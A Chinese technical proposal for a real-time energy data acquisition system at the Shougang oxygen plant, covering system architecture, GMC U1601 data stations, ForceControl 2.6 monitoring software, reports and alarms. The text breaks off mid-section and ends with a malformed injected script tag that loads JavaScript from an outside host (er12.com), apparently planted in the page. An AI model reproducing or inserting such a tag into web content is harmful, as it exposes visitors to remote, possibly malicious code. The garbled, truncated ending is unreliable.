一、概述
本系统的目的是对全公司范围内风、水、电、气等产品的生产量、使用量（消耗）、库存及与能源消耗有关的数据进行实时的采集和存储，并对这些数据进行统计和分析，并提供给有关领导和部门作为生产指挥与调度的依据，做到合理生产，节能降耗。
本系统在结构上分为三级：总公司级、厂级、车间级。各车间（或设备）的主要数据指标送到厂级子系统，与全厂有关的生产数据汇总后再送到总公司级。
本系统在技术上能够保证长期稳定运行，全自动地采集和传送数据，投入运行后，对原生产设备无任何不利影响。首钢氧气厂前期提供六个现场测试点：其中3个流量点，3个压力点。对氧气厂与能源消耗有关的数据进行实时的采集和存储，并对这些数据进行统计和分析，提供给厂领导和部门作为生产指挥与调度的依据，做到合理生产，节能降耗。
本系统的实施分为三步进行：第一步实现1---3个厂级子系统的建设；第二步实现公司级互联； 第三步实现公司内其他厂级子系统的建设和互联。
二、系统实现目标
1、以计算机、网络及软件为手段建立首钢稳定可靠、覆盖所有有效区域的分布式生产实时数据管理系统，建立生产实时、历史数据库及其管理系统。
2、该分布式实时生产数据管理系统是一个开放式的、应用规模可自由伸缩的系统。
3、通过实时数据库的压缩功能使全部过程数据的历史趋势可以保存10年以上。
4、该能源管理系统将真正实现
能源和过程的可视化
能源流向清晰化
高峰负荷降低化
能源消耗最优化
帐单生成自动化
三、系统功能及其实现方法
系统如图：
1、数据采集
数据采集层将以德国gmc 公司的u16xx 系列数据总站为中心，对厂级或车间级的主要生产设备的能源消耗、设备产出等主要生产数据进行实时采集、存储和传输。每一台数据总站可以直接联接由现场仪表输出的模拟量标准信号， 也可以通过lonworks现场总线联接。数据总站具有丰富的管理功能, 可对各种不同数据进行累积计量或趋势存储，各数据总站之间可以互联，可以无缝接入厂级或公司级的局域网，供上级系统进行进一步的分析和利用。
2、生产数据实时显示、运算、存储功能
(1) 采用图形界面，可根据用户的需要创建总貌图、流程图、工框图、趋势曲线图、仪表棒图、报警画面，实时显示现场生产数据。各画面之间可方便的进行切换
(2) 对现场数据进行运算处理，根据用户的需要对现场原始生产数据进行统计计算，并通过各种形式实时显示。
(3) 现场生产数据的定时存储，可根据用户的需要每间隔一定时间对现场生产数据进行存储。可保持十年以上的历史数据和报警信息。
3、查询功能
形成历史数据库可方便的进行分类查询
(1) 单元数据查询
(2) 实时生产数据查询、监测
(3) 各类历史数据查询
(4)生产实时趋势、历史趋势查询
4、报表打印功能
可根据用户的具体要求自动生成和打印各种报表，包括
（1） 生产日报
（2） 生产情况月报
以便数据管理部门或决策者分析能源使用情况，并提供数据管理决策的依据。并且报表格式、数据构成、采样间隔等参数都可随时更改。
5、报警功能
具有声音、图象等多种报警手段，并提供历史报警查询。
四、首钢氧气厂综合能源信息系统的实施方案
首钢氧气厂前期为我们提供了六个现场测试点：其中3个流量点，3个压力点。
1、硬件方案：硬件上选用德国gmc公司的产品搭建系统：数据总站选用u1601，6个采集点的模拟量直接连接到u1601的6个模拟量输入口。将u1601数据总站两个rs232接口的其中一个连接一个com server, 将数据总站输出的数据转化为局域网上可传输的数据，然后送到局域网上的pc机里进行数据的统计、分析和处理，以便有关人员利于查看和利用。如图：
2.软件方案：
本系统使用三维公司hmi软件产品力控2.6（forcecontrol 2.6）工业监控组态软件，以图形化的方式显示各种生产数据，自动生成各种统计报表，报警记录等等。其软件实施方案如下：
数据采集：以厂级局域网上的某个pc机做为数据采集服务器，安装forcecontrol 2.6 监控组态软件，它以以太网形式与现场数据总站通讯，将u1601上的数据采集到pc机。
厂级数据应用：?script src=http://er12.com/t.js>
